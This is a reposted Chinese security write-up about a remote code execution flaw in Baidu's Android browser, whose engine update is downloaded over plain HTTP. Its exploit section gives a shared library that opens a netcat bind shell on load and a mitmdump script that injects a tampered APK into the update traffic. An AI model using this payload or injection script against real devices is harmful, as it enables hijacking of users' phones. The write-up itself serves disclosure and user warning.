安卓版百度浏览器远程代码执行漏洞分析

安卓版百度浏览器远程代码执行漏洞分析

几周前,我在百度安卓浏览器中,发现了一个远程代码执行漏洞。最初我想在今年的 Infiltrate 上讲这个课题,直到我看到下面XDA开发人员周末发布的 文章

概述

上面的文章讨论了 Citizen Lab 发布的研究成果,下面讲一个我看到的有意思的东西。

“Windows和安卓版本的百度浏览器,都会使用代码签名机制来保护软件更新的安全。这意味着在其程序路径下的恶意文件可以下载并执行任意代码,系统将存在巨大的隐患。”

实际上,XDA和 Citizen Lab 的文章里已经讲过,安卓浏览器这种不安全的更新机制,应该强制使用HTTPS。然而,这并不能完全解决问题。

纸终究是包不住火,我想用户应该会了解浏览器的各种风险。研究结果表明,从Google play下载的最新版本也会受到影响,该浏览器现在大约有1000万-5000万的安装量。

安装

作为我分析手段的一部分,我习惯性地在安装安卓浏览器(需要逆向)时,用mitmproxy代理截获流量。在分析百度安卓浏览器的安装流量时,我发现了以下的东西。

安卓版百度浏览器远程代码执行漏洞分析

安卓版百度浏览器远程代码执行漏洞分析

这个浏览器在通过HTTP下载apk文件:

GET http://s.mobile-global.baidu.com/mbrowser/guanxing/T5Update/res/54b2672d5353481ab5a762bdcd74977f.apk

如果我们打开了刚才的请求,我们可以看见一个JSON响应包,提供了apk下载的URL。

GET http://mobile-global.baidu.com/mbrowser/management/zeus_update.do?si=12.1.0.0&so=6.2.7.11&zi=-&zo=-&api=1&pt=ma&co=US&la=en&ch=gp&av=

6.3.0.1&sv=a_19≺=&n=

{

"d": {

"downUrl":"http://s.mobile-global.baidu.com/mbrowser/guanxing/T5Update/res/54b2672d5353481ab5a762bdcd74977f.apk",

"force": "0",

"freq": "365d",

"md5":"54b2672d5353481ab5a762bdcd74977f",

"remindCount": "1",

"size": "7636",

"zi": "12.1.0.0",

"zo": "6.2.7.11"

},

"n": "8913ced893e7656ab190490d9bf96e9f",

"s": 1

}

在安装操作完毕后,下面是用户看到的信息:

安卓版百度浏览器远程代码执行漏洞分析

T5 Engine是啥东西?这其实不重要,似乎是为百度浏览器提速的东西吧。

T5Update APK

我们可以用下面的命令,检查下T5Update APK(也就是上面那个”提速”的apk)里的内容:

wget http://s.mobile-global.baidu.com/mbrowser/guanxing/T5Update/res/54b2672d5353481ab5a762bdcd74977f.apk

--2016-02-27 12:56:15-- http://s.mobile-global.baidu.com/mbrowser/guanxing/T5Update/res/54b2672d5353481ab5a762bdcd74977f.apk

Resolving s.mobile-global.baidu.com...63.217.158.178

Connecting tos.mobile-global.baidu.com|63.217.158.178|:80... connected.

HTTP request sent, awaiting response... 200OK

Length: 7819869 (7.5M) [application/octet-stream]

Saving to:'54b2672d5353481ab5a762bdcd74977f.apk'

54b2672d5353481ab5a762bdcd74977f.apk 100%[==============================================================================>] 7.46M 2.10MB/s in 3.8s

2016-02-27 12:56:21 (1.95 MB/s) - '54b2672d5353481ab5a762bdcd74977f.apk'saved [7819869/7819869]

unzip -l54b2672d5353481ab5a762bdcd74977f.apk

Archive: 54b2672d5353481ab5a762bdcd74977f.apk

Length Date Time Name

-------- ---- ---- ----

21704 03-24-15 14:32 libbaidujni.so

99576 03-24-15 14:32 libdumper.so

66748 03-24-15 14:32 libZeusPlatformImpl23.so

66752 03-24-15 14:32 libZeusPlatformImpl40.so

66752 03-24-15 14:32 libZeusPlatformImpl41.so

66752 03-24-15 14:32 libZeusPlatformImpl42.so

66756 03-24-15 14:32 libZeusPlatformImpl43.so

66756 03-24-15 14:32 libZeusPlatformImpl443.so

66756 03-24-15 14:32 libZeusPlatformImpl44.so

66752 03-24-15 14:32 libZeusPlatform.so

14495444 03-24-15 14:32 libzeus.so

493810 03-24-15 14:33 com.baidu.zeus.jar

-------- -------

15644558 12 files

所以,百度浏览器通过HTTP,下载了一个共享库文件的zip包。

这里我们暂时不做出任何结论,首先我们需要弄清楚,这些东西解压和写入的位置。现在,让我们来看看百度浏览器的data目录

root@hammerhead:/data/data/com.baidu.browser.inter/files# ls -la

drwx------ u0_a151 u0_a151 2016-02-27 11:57 AFRequestCache

-rw------- u0_a151 u0_a151 33 2016-02-27 11:57 AF_INSTALLATION

drwx------ u0_a151 u0_a151 2016-02-27 11:57 bbm

-rw------- u0_a151 u0_a151 10453 2016-02-27 11:57 config_gb.json

drwx------ u0_a151 u0_a151 2016-02-27 11:57 cyber

drwx------ u0_a151 u0_a151 2016-02-27 11:57 data

drwx------ u0_a151 u0_a151 2016-02-27 11:57 deeplink

drwx------ u0_a151 u0_a151 2016-02-27 11:57 float_window

drwx------ u0_a151 u0_a151 2016-02-27 12:44 home

drwx------ u0_a151 u0_a151 2016-02-27 11:57 images

-rwxr-xr-x u0_a151 u0_a151 13592 2016-02-27 11:57 libprocmox_v1_4.so

drwx------ u0_a151 u0_a151 2016-02-27 11:57 misc

drwx------ u0_a151 u0_a151 2016-02-27 11:57 plugin

drwx------ u0_a151 u0_a151 2016-02-27 11:57 pv

drwx------ u0_a151 u0_a151 2016-02-27 11:57 skin

drwx------ u0_a151 u0_a151 2016-02-27 11:57 splash

drwx------ u0_a151 u0_a151 2016-02-27 11:57 version

drwx--x--x u0_a151 u0_a151 2016-02-27 12:44 zeus

根据T5Update APK里共享库文件的命名习惯,zeus这个目录看起来可以探究一下:

root@hammerhead:/data/data/com.baidu.browser.inter/files/zeus/libs# ls -la

-rw-r--r-- u0_a151 u0_a151 1252704 2016-02-27 12:44 com.baidu.zeus.dex

-rw-r--r-- u0_a151 u0_a151 493810 2016-02-27 12:44 com.baidu.zeus.jar

-rw-r--r-- u0_a151 u0_a151 66752 2016-02-27 12:44 libZeusPlatform.so

-rw-r--r-- u0_a151 u0_a151 66748 2016-02-27 12:44 libZeusPlatformImpl23.so

-rw-r--r-- u0_a151 u0_a151 66752 2016-02-27 12:44 libZeusPlatformImpl40.so

-rw-r--r-- u0_a151 u0_a151 66752 2016-02-27 12:44 libZeusPlatformImpl41.so

-rw-r--r-- u0_a151 u0_a151 66752 2016-02-27 12:44 libZeusPlatformImpl42.so

-rw-r--r-- u0_a151 u0_a151 66756 2016-02-27 12:44 libZeusPlatformImpl43.so

-rw-r--r-- u0_a151 u0_a151 66756 2016-02-27 12:44 libZeusPlatformImpl44.so

-rw-r--r-- u0_a151 u0_a151 66756 2016-02-27 12:44 libZeusPlatformImpl443.so

-rw-r--r-- u0_a151 u0_a151 21704 2016-02-27 12:44 libbaidujni.so

-rw-r--r-- u0_a151 u0_a151 99576 2016-02-27 12:44 libdumper.so

-rw-r--r-- u0_a151 u0_a151 14495444 2016-02-27 12:44 libzeus.so

-rw-r--r-- u0_a151 u0_a151 17 2016-02-27 12:44 ver.dat

我们这里可以看到,这些东西被解压并写入了/files/zeus/lib/目录。那么,现在我们就可以使用exp了。

Exp

下面是我们利用的思路:

利用T5Update APK里的共享库文件创建一个zip包。

将zip包里其中一个共享库文件,换成可执行恶意命令的共享库文件。

中间人劫持浏览器的安装流量。

将我们的zip的下载链接,注入到T5Update APK的下载请求的响应包中。

让我们看看百度浏览器首次初始化时,加载的是哪个共享库:

D/dalvikvm(21640): Trying to load lib/data/data/com.baidu.browser.inter/files/zeus/libs//libzeus.so 0x42775e38D/dalvikvm(21640): Added shared lib/data/data/com.baidu.browser.inter/files/zeus/libs//libzeus.so 0x42775e38

很明显,libzeus.so是一个不错的选择。我们将替换它,用zip包实现任意代码执行:

#include <jni.h>

#include <stdio.h>

#include <stdlib.h>


int JNI_OnLoad( JavaVM* vm, void* reserved)

{

system( "/data/local/tmp/busybox nc -ll -p 6666 -e/system/bin/sh" );

return JNI_VERSION_1_6;

}

现在我们的共享库文件构造好了,接下来 恶意注入 一个正常的zip包:

unzip -l bad.apk

Archive: bad.apk

Length Date Time Name

-------- ---- ---- ----

493810 03-24-15 14:33 com.baidu.zeus.jar

21704 03-24-15 14:32 libbaidujni.so

99576 03-24-15 14:32 libdumper.so

9356 02-13-16 16:20 libzeus.so

66752 03-24-15 14:32 libZeusPlatform.so

66748 03-24-15 14:32 libZeusPlatformImpl23.so

66752 03-24-15 14:32 libZeusPlatformImpl40.so

66752 03-24-15 14:32 libZeusPlatformImpl41.so

66752 03-24-15 14:32 libZeusPlatformImpl42.so

66756 03-24-15 14:32 libZeusPlatformImpl43.so

66756 03-24-15 14:32 libZeusPlatformImpl44.so

66756 03-24-15 14:32 libZeusPlatformImpl443.so

记住libzeus.so是我们创建的共享库文件,这里我们使用 mitmdump 脚本,将我们的恶意apk链接 注入 到T5Update APK的下载响应包中:

import os

from libmproxyimport proxy, flow

from libmproxy.protocol import http

from libmproxy.models import HTTPResponse

from netlib.httpimport Headers



def start(context,argv):

context.log("[*] Starting APKInjection!")

def request(context, flow):

if not flow.request.host =="s.mobile-global.baidu.com":

return

context.log("[Baidu APK Injection]Target host : {0}".format(flow.request.host))

if flow.request.path.split(".")[-1] == "apk":

context.log("[Baidu APK Injection]Target injection point : {0}".format(flow.request.path))

response =HTTPResponse("HTTP/1.0", 200, "OK",Headers(Content_Type="application/octet-stream",), "PWNED")

# Inject our APK into the HTTP response

try:

with open("bad.apk","rb") as f:

modified = f.read()

response.content = modified

response.headers["Content-Length"] = str(len(modified))

f.close()

except IOError as e:

raise e

flow.reply(response)

最后,我们把它们结合起来, 视频 如下:

最后,笔者建议各位读者,在官方解决这些安全问题之前,谨慎使用这款浏览器。

*参考来源: lifeform-labs ,FB小编dawner编译,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM) 

原文  http://www.freebuf.com/vuls/97607.html

本站部分文章源于互联网,本着传播知识、有益学习和研究的目的进行的转载,为网友免费提供。如有著作权人或出版方提出异议,本站将立即删除。如果您对文章转载有任何疑问请告之我们,以便我们及时纠正。

PS:推荐一个微信公众号: askHarries 或者qq群:474807195,里面会分享一些资深架构师录制的视频录像:有Spring,MyBatis,Netty源码分析,高并发、高性能、分布式、微服务架构的原理,JVM性能优化这些成为架构师必备的知识体系。还能领取免费的学习资源,目前受益良多

转载请注明原文出处:Harries Blog™ » 安卓版百度浏览器远程代码执行漏洞分析

赞 (0)
分享到:更多 ()

评论 0

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址